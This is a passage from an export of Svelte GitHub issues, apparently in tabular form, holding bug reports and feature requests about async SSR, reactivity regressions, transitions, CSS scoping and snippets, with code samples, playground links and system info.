Observe that the `$effect.pending()` displayed is stuck `> 0`. Observe that the async derived that doubles the `input` number does not re-run after the initial calculation. 

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.15 Arch Linux
    CPU: (12) x64 AMD Ryzen 5 2600 Six-Core Processor
    Memory: 4.58 GB / 15.54 GB
    Container: Yes
    Shell: 5.3.3 - /bin/bash
  Binaries:
    Node: 18.16.0 - ~/.nvm/versions/node/v18.16.0/bin/node
    Yarn: 1.22.22 - /usr/bin/yarn
    npm: 9.5.1 - ~/.nvm/versions/node/v18.16.0/bin/npm
    pnpm: 10.13.1 - ~/.local/share/pnpm/pnpm
  Browsers:
    Chromium: 139.0.... [TRUNCATED]",,2025-09-24T04:17:40Z,2025-11-17T19:15:04Z,9
sveltejs/svelte,3446889750,Local transitions playing on unmount since 5.38.3,"### Describe the bug

When a component has a transition inside an #if block, the out transition will play when the component is unmounted, delaying the component unmount, even if specified as local

From  @7nik on bluesky:

""Seems to be caused by [github.com/sveltejs/sve...](https://github.com/sveltejs/svelte/pull/16625) and the fact that the if condition is in fact static.""

### Reproduction

https://svelte.dev/playground/20daa9fc7f1740f89fb76099f14c51ae?version=latest

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (8) arm64 Apple M1 Pro
    Memory: 103.92 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.18.0 - ~/.nvm/versions/node/v22.18.0/bin/node
    npm: 10.9.3 - ~/.nvm/versions/node/v22.18.0/bin/npm
    pnpm: 10.14.0 - ~/.nvm/versions/node/v22.18.0/bin/pnpm
  Browsers:
    Chrome: 140.0.7339.207
    Safari: 18.6
  npmPackages:
    svelte: ^5.39.5 => 5.39.5
```

### Severity

blocking an upgrade",transition/animation,2025-09-23T22:54:33Z,2025-10-23T22:26:42Z,0
sveltejs/svelte,3444657457,`$props.id()` output format clashes with Server Side Include format,"### Describe the bug

When [SSIs](https://nginx.org/en/docs/http/ngx_http_ssi_module.html#commands) are turned on in Nginx the server tries to parse `<!--#text-->` -- which is the same [format output](https://github.com/search?q=repo%3Asveltejs/svelte%20%27%3C!--%23%27&type=code) during SSR when `$props.id()` is used. Nginx can't parse this and the default is to print `[an error occurred while processing the directive]` in the html (replacing Svelte's hydration comment `<!--#s1-->`)

Would it be possible to change the format of the `props_id()` renderer output? Maybe like `<!--$`? That seems safe in the [corresponding props_id hydration code too](https://github.com/sveltejs/svelte/blob/main/packages/svelte/src/internal/client/dom/template.js)?

The current workaround is to not use this feature and pass ids as a prop to each component instance, but it would be nice to be able to use `$props.id()`

(I assume this is also an issue with Apache, etc. as they have the same SSI format but I've only observed it with Nginx)

### Reproduction

https://github.com/brittharr/svelte-props-id

Static output here:
https://github.com/brittharr/svelte-props-id/blob/main/build/index.html#L20

### Logs

```shell

```

### System Info

```shell
All
```

### Severity

annoyance",,2025-09-23T10:25:43Z,2025-09-23T12:55:47Z,1
sveltejs/svelte,3443293201,Async SSR doesn't support `{@html await ...}`,"### Describe the bug

An `await` expression in an `{@html ...}` block causes a syntax error — this code...

```svelte
<div>{@html await 'this should work'}</div>
```

...results in this output:

```js
export default function App($$renderer) {
	$$renderer.push(`<div>${$.html((await $.save('this should work'))())}</div>`);
}
```

### Reproduction

[link](https://svelte.dev/playground/hello-world?version=5.39.4#H4sIAAAAAAAAE22NwQrCMBBEfyXspQqi91BEb_6D9BDNlixuk9BsWyXk303Ao8d5zJvJ4M2EoOGGzEFtYWardmhJ0O7hACMxJtD3DPKJrddA5T_rGuMxrcjS2MMk_MefwQt6qTPQW1rP-eJkYmU2Q6I6cZRUcmGpx_X-1ZX-1FpVFHwLaJkXLENNhngjb0GPhhOWL6z1RTG7AAAA)",ssr,2025-09-23T01:19:58Z,2025-09-23T10:04:46Z,0
sveltejs/svelte,3441746123,Regression: some elements don't get css scoped during SSR,"### Describe the bug

Since 5.39.3 (likely #16797), `<select>` doesn't receive the scoping class during SSR.
At hydration, if the class is static, it is skipped, and thus the element remains unstyled.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.39.2#H4sIAAAAAAAAA22PwYrDIBCGX0WGPbRQmru1gb3tO2z2YOOkCLNj0GnaEvLu1cRlYdmL6Of_f6MzsP1G0PCBREHdQySndui8oNvDAQZPmEB_ziDPseQKyLy23sfxmCYkKexiE_7H-8CCLFkDJvXRj9J23AmhqMnSDdVZvSWxgrsOhhA62J86Ns1vlI3z09oxCQl7URfPTm_lnmxK59pcQzkWRvGB28xMU_drvdn6bfFXJ5skT8L1PqODqiPmTdUHClGra0TkU0FLWY7Z_CcRouUr_kTypNWavy_4ENASb7h85ZP1dM-vBz1YSri8AMORvb6BAQAA) - checkout the server output

<img width=""898"" height=""297"" alt=""Image"" src=""https://github.com/user-attachments/assets/c7f4d943-0145-4418-a21a-be023d255b05"" />

### Logs

```shell

```

### System Info

```shell
Svelte@5.39.3+ (SSR)
```

### Severity

blocking an upgrade","ssr,css",2025-09-22T16:21:56Z,2025-09-24T16:35:52Z,3
sveltejs/svelte,3440106826,Nested pending boundaries: Outer pending doesn't go away until inner resolved,"### Describe the bug

When you have a pending boundary nested insider another pending boundary, and the outer one resolves its async values, it starts showing the inner pending boundary but does not yet show its children. As a result, both pending snippets are visible.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.41.3#H4sIAAAAAAAACm2OsU7DQBBEf2W1FPEJi4SUxrGggwoKd5jiiDfRSZe90906IbL878ixHSLhcmdn3kyLrA-EGb6StQ5OLtgaEqqNUK0wxZ2xFDH7bFHOvvf1AqZT6sX7h3gkK732rSPN6VvHQiwRM8zjNhgvYDXvNxVKrLCouJJdw1sxjqEmq895WSSBYmMlg1Jl8BHcwUTKywLa3l1JIGkCA9NpeiZ9wtkjKdgUEElKcyDXSJJchPE5YlUK69VqpdRTj-sqzpfDsH4M58Py7Ns1XOtwvizMfdHqkzYyTEweVZcv_cVfSfu8dRwFBjps4Na5Vt0EGP43wdmq_2WLN2YKsID7seJaLpW0d5GN9yTgiWvD-0R1g9863d_tcjQMO5YznTyPua55b-SPN1XfcueomKLQj2AmoaHuK0XRxp4M15jttI3U_QJDH1d0fQIAAA

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2025-09-22T10:00:06Z,2025-10-24T14:44:06Z,1
sveltejs/svelte,3439851727,Parse failure: `await isn't allowed in non-async function` when using `await` with `@const` inside snippet since 5.39.0,"### Describe the bug

```html
<script>
  async function getOne() {
    return 1;
  }
</script>

{#snippet foo()}
  {@const one = await getOne()}
  {one}
{/snippet}
<svelte:boundary>
  {@render foo()}
  {#snippet pending()}
    <p>Loading...</p>
  {/snippet}
</svelte:boundary>
```
This works in 5.38.10, doesn't work since the 5.39.0 update

### Reproduction

5.38.10:
https://www.sveltelab.dev/dn4b37wr5hze96y

5.39.4:
https://www.sveltelab.dev/74fsjhc81u1vs16



### Logs

```shell
[vite] (ssr) Error when evaluating SSR module /src/routes/test/+page.svelte: Parse failure: await isn't allowed in non-async function
At file: /src/routes/test/+page.svelte:19:17
  File: /src/routes/test/+page.svelte:19:17
  17 |                                  $.validate_snippet_args($$renderer);
  18 |  
  19 |                                  const one = (await $.save(getOne()))();
     |                   ^
  20 |  
  21 |                                  $$renderer.push(`<!---->${$.escape(one)}`);
```

### System Info

```shell
N/A
```

### Severity

blocking an upgrade",ssr,2025-09-22T08:55:34Z,2025-09-23T10:04:46Z,1
sveltejs/svelte,3439009162,async: effects don't run when a prop is awaited,"### Describe the bug

When awaiting a component prop in the template, effects in the component don't run directly.
Mutating a state will run them.
Might be related to #16497

### Reproduction

https://svelte.dev/playground/43ca8ba4ec294b05ad1fb42789e61433?version=5.39.4

### Logs

```shell

```

### System Info

```shell
Svelte 5.39.4
```

### Severity

blocking an upgrade",,2025-09-22T03:07:55Z,2025-10-05T21:59:59Z,0
sveltejs/svelte,3438926131,Regression: Awaiting inside an async function assigned to const broken since 5.39.0,"### Describe the bug

Prior to 5.39.0, awaiting an async function inside a function assigned to a `@const` worked without issue. From 5.39.0 onward, even though console logging shows that both the parent and child functions are getting called with the right values, the actual component doesn't seem to be updating/rerendering, as if the `activeTab` assignment did nothing.

Things that seem to change behavior:
* Moving the `await doSomething()` before the `activeTab = tab.id` fixes it (but in our case, `doSomething` actually relies on `activeTab` being changed first, so this doesn't work for us)
* Making `switchTab` a function in the script section (instead of inline) and then using `<button onclick={() => switchTab(tab)}>` fixed it, this is what we have done to fix things on our end

### Reproduction

Works on 5.38.10: https://svelte.dev/playground/9edd553009364fc7b6f6031a756b7acf?version=5.38.10
Broken from 5.39.0: https://svelte.dev/playground/9edd553009364fc7b6f6031a756b7acf?version=5.39.0
Broken in latest: https://svelte.dev/playground/9edd553009364fc7b6f6031a756b7acf?version=latest

(switch from Tab 1 to 2 to 3. Working version changes text all the time, broken version gets stuck after one click)

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (14) arm64 Apple M4 Pro
    Memory: 534.53 MB / 24.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.15.1 - ~/.asdf/installs/nodejs/22.15.1/bin/node
    Yarn: 1.22.22 - ~/.asdf/instal... [TRUNCATED]",,2025-09-22T02:17:42Z,2025-10-21T19:56:19Z,1
sveltejs/svelte,3438082364,Reactivity regression since 5.39.0,"### Describe the bug

I have a pattern for trying to deal with async data that isn't working properly anymore since 5.39.0. `$inspect(delayed_value)` shows that `delayed_value` is getting updated, but this is not reflected in the DOM.

The `$derived` on line 8 looks useless, but it is part of what makes this break, and it was part of a more complicated expression in my original app that did actually do something.

Apart from any runtime changes in 5.39.0, the compilation change that I'm seeing since 5.38.10 is `await null;` starting to get compiled to `(await $.save(null))();`.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.39.3#H4sIAAAAAAAACnWR3WoDIRSEX0VkIS6U9H6bFHrXd2hKsOvYCqe66NlNw5J3r2ZtQ_pzI_iNc2Y4ztLrd8hOPoIoiEOIZISCcQzTyhtpHSHJ7mmWfBzKuwIyr66HYVinCcSFveiEv3gfPMNzHiM3qY9u4Pud33HGiUVECjRBbIUdfS-292Iu4o4JLPoxxuzMYpNYM1R7t4gNrEXP6yFCqba4ilu1a36DV5OmEQVe_GfUftkjeIxeLM766Cydyvnd7RW8NyB9hNnXmaIxiG6CUbW40umYey-janV90I6FH4mu81Y2hNWSU6ssOf9m_Cqgqq9xPg15AepKLdrm9rJiP5dPC_Y64JT5T5B_ifHBsuOY78_5ph0dnDeys5oSTp-3GN7uKAIAAA

### Logs

```shell
init undefined
update foo
```

### System Info

```shell
REPL
```

### Severity

blocking an upgrade",bug,2025-09-21T09:26:52Z,2025-10-30T21:41:05Z,1
sveltejs/svelte,3437449117,Using a $state variable in an inner object of derived strips reactivity,"### Describe the bug

Hello,

It appears that when creating an object with $derived that contains an inner object where a field is from a $state variable, the access is no longer reactive.

### Reproduction

https://svelte.dev/playground/untitled?version=5.39.3#H4sIAAAAAAAAE6WQwW7CMBBEf8VacQCpCqJHkyD1I3rCHJx4aS3MYsVLoIr876wTDhy49WTNjHee1yOQPSNo-Cb2HNDBBxx9wAR6PwL_xZIVQ_znza8YqzRg4OK1NuE7v7sQI7HUQJ263kdWwdJPY4CTgZ0hIzBWjIk3qlGLxJZxyf0VV9vX8LOEDns_oFuOJTHsibDX6qkMDzbouWl2cjnyylC9ntEFR7WneJVSWUle0f1id2ovdwOq9eT0pNE14wStJkQlxVmtd_-Zla9gvDPoslo-iLI-3GQK9NGGhPkBhGw9LIEBAAA

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 14.6.1
    CPU: (16) arm64 Apple M3 Max
    Memory: 30.92 GB / 128.00 GB
    Shell: 4.0.2 - /opt/homebrew/Cellar/fish/4.0.2/bin/fish
  Binaries:
    Node: 24.1.0 - /opt/homebrew/bin/node
    npm: 11.3.0 - /opt/homebrew/bin/npm
    pnpm: 10.15.1 - /opt/homebrew/bin/pnpm
  Browsers:
    Chrome: 140.0.7339.133
    Safari: 17.6
  npmPackages:
    svelte: ^5.39.3 => 5.39.3
```

### Severity

annoyance",,2025-09-20T19:40:32Z,2025-09-20T20:18:33Z,4
sveltejs/svelte,3437248038,Async remote functions with SSR don't seem to work,"### Describe the bug

I'm not sure if this is a Svelte or SvelteKit issue (or just me missing something), but loading a remote function using Async w/ SSR seems to be broken. I've tried `await` in the script block, in a $derived, in an `{#each}` block, and with/without a `<svelte:boundary>` and I always get the same error: `Svelte error: await_invalid`

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-rmru6myp?description=The%20default%20SvelteKit%20template,%20generated%20with%20create-svelte&file=src%2Froutes%2F%2Bpage.svelte&title=SvelteKit%20Default%20Template

### Logs

```shell
Svelte error: await_invalid
Encountered asynchronous work while rendering synchronously.
https://svelte.dev/e/await_invalid
    at Module.await_invalid (node_modules/svelte/src/internal/server/errors.js:17:16)
    at Renderer.child (node_modules/svelte/src/internal/server/renderer.js:128:27)
    at eval (src/routes/+page.svelte:35:16)
    at Renderer.child (node_modules/svelte/src/internal/server/renderer.js:122:18)
    at Renderer.component (node_modules/svelte/src/internal/server/renderer.js:147:22)
    at _page (src/routes/+page.svelte:19:14)
    at eval (.svelte-kit/generated/root.svelte:74:7)
    at eval (src/routes/+layout.svelte:25:5)
```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  npmPackages:
    @sveltejs/kit: ^2.22.0 => 2.42.2... [TRUNCATED]",,2025-09-20T15:36:02Z,2025-09-20T16:47:02Z,2
sveltejs/svelte,3437111525,Component composition with tree-scoped style propagation,"### Describe the problem

Hi,

I am looking to allow a child components to extend or override parent component styles within the component tree (similar to traditional inheritance). As an example we'll use two custom card components: 
- BaseCard.svelte (parent) component has all the basic features of a custom card and it is the parent component for all types of cards. 
- HoverCard.svelte (child) is a custom card which has an hover effect as styling, in addition to the parent's styling. 

### Workaround
The current workarounds are: 
- Duplicate html and styling (and script, not included in this example) in the component.
- Utilise a combination of "":global()"" and ""!important"" in the styling tag to disable the component scope and overwrite the parent's styling. 
- Utilise inline styling instead of classes, they seem to work and can overwrite the parent. However with a lot of styling, classes would be preferred. See the border-styling in the code.

### Observation
- Svelte issues a class identifier for a component. This identifier is the same for the children and the parent.
- If there is an additional div which is not a part of the component tree has a different identifier.
- Without :global() svelte limits the scope of where the styling is applied; this makes it so that the parent's class is not affected even though it does receive the ""hover-card"" class. View code context.
- Without !important styles can not be overwritten if it has been declared in the style-block of the par... [TRUNCATED]",,2025-09-20T12:49:08Z,2025-09-20T13:35:27Z,2
sveltejs/svelte,3435314999,Condition based on optional children Snippet does not work if children are given using if or each block,"### Describe the bug

In the docs for [Optional snipped props](https://svelte.dev/docs/svelte/snippet#Passing-snippets-to-components-Optional-snippet-props) it gives an example of how to conditionally render content in the component if children are present like so:

```svelte
<script>
	let { children } = $props();
</script>

{#if children}
	{@render children()}
{:else}
	fallback content
{/if}
```

This works fine if the children are handed directly to the component in HTML but the conditional does not behave as expected if the component users tries to wrap the children in an {#if} block or populate it with an {#each block}.

### Reproduction

`component.svelte`
```svelte
<script>
	let { children } = $props();
</script>

{#if children}
	{@render children()}
{:else}
	fallback content
{/if}
```

`+page.svelte`
```svelte
<script>
	import Test from ""$lib/component.svelte"";
</script>

<Test>
	{#if false}
		<div>Never rendered as child</div
	{/if}
</Test>
```

The fallback content will never show, even though the component never has any children

### System Info

```shell
System:
    OS: macOS 26.0
    CPU: (10) arm64 Apple M1 Max
    Memory: 393.33 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.18.0 - /opt/homebrew/opt/node@22/bin/node
    Yarn: 1.22.22 - /opt/homebrew/bin/yarn
    npm: 10.9.3 - /opt/homebrew/opt/node@22/bin/npm
    bun: 1.0.2 - ~/.bun/bin/bun
  Browsers:
    Chrome: 139.0.7258.155
    Safari: 26.0
```

### Severity

annoyance",,2025-09-19T17:53:45Z,2025-09-20T05:33:11Z,4
sveltejs/svelte,3430871626,Reseting state during on mount will cause a race condition inside key/each block,"### Describe the bug

When resetting `item` state to undefined during `onMount` or  immediately in `$effect`, then it will crash because the each or key block can no longer access the `item.id` even though it's inside `if` block.

It looks like race condition, since if I wait one tick inside the onMount and then reset the value to undefined then it works.

### Reproduction

Playground: https://svelte.dev/playground/7d7b34facedb4e4594f7175aaf805f8a?version=5.39.2

```svelte
<script>
  let item = $state({ id: '1' });

  $effect(() => {
    // Clear the item
    item = undefined;
  });
</script>

{#if item}
  <!-- Uncaught (in promise) TypeError: Cannot read properties of undefined (reading 'id') -->
  {#key item.id}
	  {item.id}
  {/key}
  {#each [item.id] as id}
    {id}
  {/each}
{/if}
```

### System Info

```shell
Svelte: 5.39.2
```

### Severity

blocking",,2025-09-18T15:20:53Z,2025-10-21T08:07:53Z,3
sveltejs/svelte,3420628350,Feature Request:  Built-in access of a $derived's current value,"### Describe the problem

Imagine a scenario where one would like to stop cascading a change through a chain of $derived values.

```plaintext
$state change -> $derived A changes -> $derived B changes -> $derived C changes -> $effects
```

Imagine that `$derived A` has decided that, despite the change, it is not useful for the downstream calculations to run, perhaps because the original state change will imply that, for example, something gets reset, making the calculation effort of all downstream values, a waste of time.

If I understand Svelte, if the reported new value of `$derived A` is the same as its previous value, the downstream chain is not going to be activated.  That would be the goal.

Now imagine that for whatever reason, `$derived A` is interested in **not** performing its calculations.  Perhaps calculating will produce a different value, and we want to **force** the previous one.  What then?

### Describe the proposed solution

It would be ideal if we could short-circuit calculations of a `$derived` by simply using the previous signal value:

```typescript
let someDerived = $derived.by(() => {
  if (<some condition>) {
    return $derived.previous(); // Or current?
  }
  ...
});

let someDerived = $derived(<some condition> ? $derived.previous() : ...);
```

The alternative I see is to manually track the previous value in user land.  I dislike this approach because that value is already stored somewhere.  I want to access that copy. 😄   If you please.

### Impor... [TRUNCATED]",,2025-09-16T06:22:12Z,2025-09-16T08:25:23Z,0
sveltejs/svelte,3419764640,"A component's content is rendered while the component is not mounted, when using {#key}","### Describe the bug

Ok, just thinking about an appropriate title was difficult.

Here it goes, my attempt to describe this problem.

#### Background

Making an online REPL demo for my router (@wjfe/n-savant), I decided to show a simple way to add transitions.  It works.  However, if the matching route itself continues to match after navigating (in the demo's case, a route parameter changes), then animation doesn't take place because the component is not being destroyed so transitions don't happen.

This is the REPL:  [@wjfe/n-savant demo](https://svelte.dev/playground/d273d356947e48c0822a65402fd06fac)

So I figured:  Ok, if the Svelte tutorial ever taught me anything is that I can trigger transitions using `{#key}`.  So let's add `{#key rp}` (`rp` is a reactive object that holds the matching route's parameter values) to AniRoute.svelte.

#### The Issue

Refer to this other REPL:  [@wjfe/n-savant playground](https://svelte.dev/playground/ed8a63dc8ed74ed4a583718f73549599)

Open it, navigate to either ""Big"", ""Medium"" or ""Small"", then back to ""Home"".  What you're seeing is the **Home.svelte** component and the **Logos.svelte** component being rendered at the same time.  It is the big logo regardless of your previous choice because the route param that dictates the logo size named ""variant"" has changed to `undefined`.  This means the big logo.

Logic issue?  Doesn't look like it.  Check the console log:

```plaintext
# These lines appear when you navigate to a logo route.
logo R... [TRUNCATED]",,2025-09-15T22:57:56Z,2025-10-21T08:07:53Z,3
sveltejs/svelte,3417283831,Support `runes` option to `parse` function,"### Describe the problem

In this `eslint-plugin-svelte` issue, there was a report that runes mode specific warnings are not being shown. To fix this, I think it’s necessary to add a runes flag to the parse function.

https://github.com/sveltejs/eslint-plugin-svelte/issues/1242

### Describe the proposed solution

Adding `runes` option to `parse` function.

### Importance

nice to have",,2025-09-15T10:17:17Z,2025-09-23T01:56:03Z,4
sveltejs/svelte,3415607401,Full page refresh results in `<path>` element being placed outside of `<svg>`,"### Describe the bug

When I perform a full page refresh, some `path` gets added to the DOM outside of the `svg`.

I am wondering if anyone has got this problem (or if I'm doing something very wrong).

I am trying to work on a reproduction as I can't share the exact code for obvious resions, but I am not able to reproduce this this with svelte playground.

### Reproduction

[Tried Reproducing with a playground](https://svelte.dev/playground/c2ea03978d3e405f9931ec0c7291dfc2?version=5.38.10#H4sIAAAAAAAAE5VV23LbRgz9FZS92J4I1F64vFlynLbTJjPupNP4yaEfaGolsV3eV1Icjf69A5Ky5Y7zUM5IXOIA2LPAAtg7ZVpoJ3bea2Mq2FWtWcC5XuRWLy6cibPMje6c-PPesY816ZHAmRyt3tW12221sSR7SDv9mjyrSqtL2zmxM-uyNq_tVVImNi_qqrXwIatKWLZVAYnjTulrtEwc0jLaAjmFOfzQ2dTq87Oe5NnF5RHOqk1pn3FGyGz6vFM5W-TbfstZV6fl1SdtbV6uOuCzaS-Y9RzyrCrnidONaOLA9GowGNVe8SD-r4fZdORSzjr7aHTvdJFvYU8LWna1SR9jWLX5oj9hYmmJVhe1Sa3GrDKbouxiaHWtU3suJpBubHUBfNmOBqnJVyXmVhddDJkurT4iq7SOgbe66L8PfZx6Gs7EsfqLdWLbbvRh8o10n2TnZb5fAq8nfMzWvg_TBLr8KyU1cYhO4kzA5tboCbiu2-rO_tlWdQcHSmtNy_OL3kWZWACArCq74ep0MIePD3_rzLrLVuuv-nyflDA-x0zEcCKk5yxt8xRN-qDNWQynKZu8VKxTu46f_JyAhyGgiT1c_Oe27b_vyryutX0yO784DIaz7xDhU7VpMx3D2tq6i6fTZVXazl1V1cpoN6uKKcWne9tpozOrF_M_UqvbPDVvPj0WD5Xp3nzcWJOXehE_He-3Dzc31-xyt1rba4-xy9__evfrNbus6u7rtfB-Iodus9Ht43y8uYOIUjA_4lllqnb-o5A61KleAOLVSJpi8HzwxTxxChkwDBlyH7kIG-QSFQrPVcjFrWQBCqkMch6BYjdBiDJQhjOJAeligBy5dNUWRdAw9F0Fg4BUVagM5wx5xGBw0HCOIQiJXFnhIRdm2HYtBDPcB2LAJSggAsCFFYLe5CZCRV4Y8IghZxKCsOEQAId-f9oefFeh6L-JIgQhPhnwEBVrkHMIUUjgyqLwgIsbFdHx38uA3RV9JNZBZL... [TRUNCATED]",,2025-09-14T21:28:04Z,2025-09-22T01:15:40Z,2
sveltejs/svelte,3415147349,🚀 Kit: Add `empty()` helper for responses,"### Describe the problem

I find myself more often in the position of writing `OPTIONS` endpoints. To make that easier, I wrote a small helper function — similar to `json()` and `text()` — to return a `204 No Content` response more quickly and cleanly.

Maybe this could just be added to the SvelteKit core too?

It just feels so much nicer for my eyes to **always return a function**, instead of sometimes calling a function (`json()`, `text()`) and other times manually instantiating a `Response` object. It makes the code feel more consistent and ergonomic overall. Maybe some of you feel the same way.

### Describe the proposed solution

Right now i use:

```js
/**
 * Create a `Response` object `No Content`. 
 * @param {ResponseInit} [init]  Options such as `status` and `headers` that will be added to the response.
 */
export function empty(init?: ResponseInit) {
  const headers = new Headers(init?.headers);
  return new Response(null, {
    ...init,
    headers,
    status: 204
  });
}
```
or general-purpose
```js
/**
 * Creates a `Response` object with the given body and initialization options.
 * @param {BodyInit | null} body - The body of the response. Can be a string, Blob, ArrayBuffer, FormData, etc., or `null` for no body.
 * @param {ResponseInit} [init] - Optional response options such as status, headers, and statusText.
 */
export function empty(body, init) {
  const headers = new Headers(init?.headers);
  return new Response(body, {
      ...init,
      headers
  });
}... [TRUNCATED]",,2025-09-14T14:57:35Z,2025-09-14T16:19:21Z,1
sveltejs/svelte,3415058417,Replacing a value in SvelteMap does not trigger reactivity,"### Describe the bug

When I have following code:

```js
let map = new SvelteMap()
map.set(""svelte"", { counter: 0})

const obj = map.get(""svelte"")

obj.counter += 1

map.set(name, obj)
```

`map.set(""svelte"", { counter: 0})` triggers a reactive change, while `map.set(name, obj)` does not.

I would have expected that `map.set()`  always triggers a reactive change, at least if the replaced value is different.
Writing `map.set(""svelte"", Object.assign({}, ob))` instead solves the issue.

### Reproduction

```html
<script>
	import { SvelteMap } from 'svelte/reactivity';

	let name = $state()
	let map = new SvelteMap()
 
	function onclick() {
			if (!map.has(name)) {
				map.set(name, { counter: 0})
			}

			const obj = map.get(name)
			obj.counter += 1

			// workaround
			//map.set(name, Object.assign({}, obj))
			map.set(name, obj)
	
			console.log(""name: %s, counter: %s"", name, map.get(name).counter)
	}

	$inspect(map);
</script>

<h1>Hello {name}!</h1>

<input bind:value={name} />
<button {onclick}>
	Clicks:
	{#if map.has(name)} 
		{map.get(name).counter}
	{:else}
		none
	{/if}
</button>

```

Link to [https://svelte.dev/playground/0eb6b594fa384c07a201d93d79d2f311?version=latest](https://svelte.dev/playground/0eb6b594fa384c07a201d93d79d2f311?version=latest)

In the above example, type any string into the input field. When clicking on ""Clicks"" it will update to ""Clicks: 1"". By clicking again, nothing happens, although `map.set(name, obj)` is called. Interestingly, it says ""Clic... [TRUNCATED]",,2025-09-14T13:44:24Z,2025-09-14T14:05:01Z,1
sveltejs/svelte,3412119627,Migration script for app-state does not migrate derived,"### Describe the bug

I have some global derived store that are derived from the deprecated `page` store (`$app/stores`). Now, I want to migrate them with the script, but it does not work (it does nothing), so I need to do it manually. And I am not 100% sure if I am doing it correctly, retaining the reactivity (any suggestion welcomed).

### Reproduction

put this snippet in a file

```ts
import { page } from '$app/stores';
import type { OptionString } from '$lib/types/string';
import { derived, type Readable } from 'svelte/store';

export const routeToken: Readable<OptionString> = derived(
	[page],
	([
		{
			data: { token }
		}
	]) => token
);
```

and run 

`npx sv migrate app-state`

### Logs

Nothing happens or changes:

```shell
npx sv migrate app-state
┌  Welcome to the svelte-migrate CLI! (v1.10.1)
│
▲  This will update files in the current directory.
│  If you're inside a monorepo, don't run this in the root directory, rather run it in all projects independently.
│
◇  Continue?
│  Yes
│
◇  Which folders should be migrated?
│  src
│
◆  ✔ Your project has been migrated
│
◇  Recommended next steps: ──────────────────────────────╮
│                                                        │
│  1: Install the updated dependencies by running npm i  │
│  2: git commit -m ""migration to $app/state""            │
│  3: Run git diff to review changes.                    │
│                                                        │
├──────────────────────────────────────────────────... [TRUNCATED]",,2025-09-12T22:53:13Z,2025-09-13T19:05:05Z,6
sveltejs/svelte,3404487821,The value of the `hidden` attribute is incorrect,"### Describe the bug

Sometimes the value `""until-found""` for the `hidden` attribute is not correct.

### Reproduction

## OK
```
<svelte:element this={'div'} hidden=""until-found"">aaa</svelte:element>
<div hidden=""until-found"">aaa</div>
```
-> `<div hidden=""until-found"">aaa</div>`

## NG
```
<div {...{ hidden: 'until-found' }}>aaa</div>
{@const hidden = 'until-found'}
<div {hidden}>aaa</div>
```
-> `<div hidden>aaa</div>`

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (12) arm64 Apple M4 Pro
    Memory: 644.67 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.16.0 - /usr/local/bin/node
    npm: 11.4.1 - /usr/local/bin/npm
    pnpm: 10.12.1 - /usr/local/bin/pnpm
  Browsers:
    Chrome: 139.0.7258.155
    Safari: 18.6
  npmPackages:
    svelte: ^5.38.9 => 5.38.9
```

### Severity

annoyance",,2025-09-11T02:23:25Z,2025-09-15T17:24:32Z,4
sveltejs/svelte,3401735247,Pseudo element selectors with nested @starting-style don't build correctly,"### Describe the bug

Hi,

When you have a nested `@starting-style` inside a pseudo-element selector, it works in development but doesn't work after the build, the CSS build output is wrong.

Here is an example:
```svelte
<script>
  let element;
</script>

<button onclick={() => element.showModal()}>open</button>

<dialog bind:this={element}>
  test
</dialog>

<style>
  dialog {
    margin: auto;
  }

  dialog::backdrop {
    background: #2E368C7F;
    transition: opacity 1s ease-in;

    @starting-style {
      opacity: 0;
    }
  }
</style>
```

Here is the CSS output (after build):
```css
dialog.svelte-32c170{margin:auto}dialog.svelte-32c170::backdrop{background:#2e368c7f;transition:opacity 1s ease-in}@starting-style{{opacity:0}}
```
Formated output:
```css
dialog.svelte-32c170 {
  margin: auto
}

dialog.svelte-32c170::backdrop {
  background: #2e368c7f;
  transition: opacity 1s ease-in
}

@starting-style {
    {
    opacity: 0
  }
}
```

The `@starting-style` get's placed outside the original selector. If the objective is to place it outside, it needs to have the pseudo-element selector inside it.

Placing the `@starting-style` inside a selector isn't invalid syntax: https://developer.mozilla.org/en-US/docs/Web/CSS/@starting-style#syntax

It doesn't have to be `::backdrop`; it happens with any pseudo-element selector (e.g. `::after`, `::before`) based on my tests.

I'm not sure whether it's a Svelte bug or if some tool used during the build process is treating the CSS inc... [TRUNCATED]",,2025-09-10T09:42:06Z,2025-09-17T15:43:18Z,8
sveltejs/svelte,3396059250,Actions & Attachments don't work in the `failed` boundary snippet,"### Describe the bug

Since Svelte 5.36.0 actions & attachments don't work inside the `failed` snippet of a `<svelte:boundary>` anymore.
Experimental async does not need to be enabled.
Might be related to #16627.

### Reproduction

1. Click the ""whatever you do, don't click this button"" button
2. ""ACTION"" & ""ATTACHMENT"" should be logged to the console

- [Working in svelte 5.35.7](https://svelte.dev/playground/a8fa0edeadb3477e9875b66798c9f7bc?version=5.35.7)
- [Not working in svelte 5.36.0](https://svelte.dev/playground/a8fa0edeadb3477e9875b66798c9f7bc?version=5.36.0)

### Logs

```shell

```

### System Info

```shell
Svelte 5.36.0
```

### Severity

blocking an upgrade",,2025-09-08T23:45:04Z,2025-10-23T22:27:18Z,1
sveltejs/svelte,3391573926,reactivity to external entity does not work,"### Describe the bug

```js
export class Item{
	Name = """";
	Age = 0;
}
```
```js
	import {Item} from ""./entity.js""
	
	let data = $state(new Item()); // does not work
	//let data = $state({Name:"""",Age:0});  // works
```

### Reproduction



[https://svelte.dev/playground/dc3e221656764453a5b6d3c14a7a1542?version=5.38.7](https://svelte.dev/playground/dc3e221656764453a5b6d3c14a7a1542?version=5.38.7)

### Logs

```shell

```

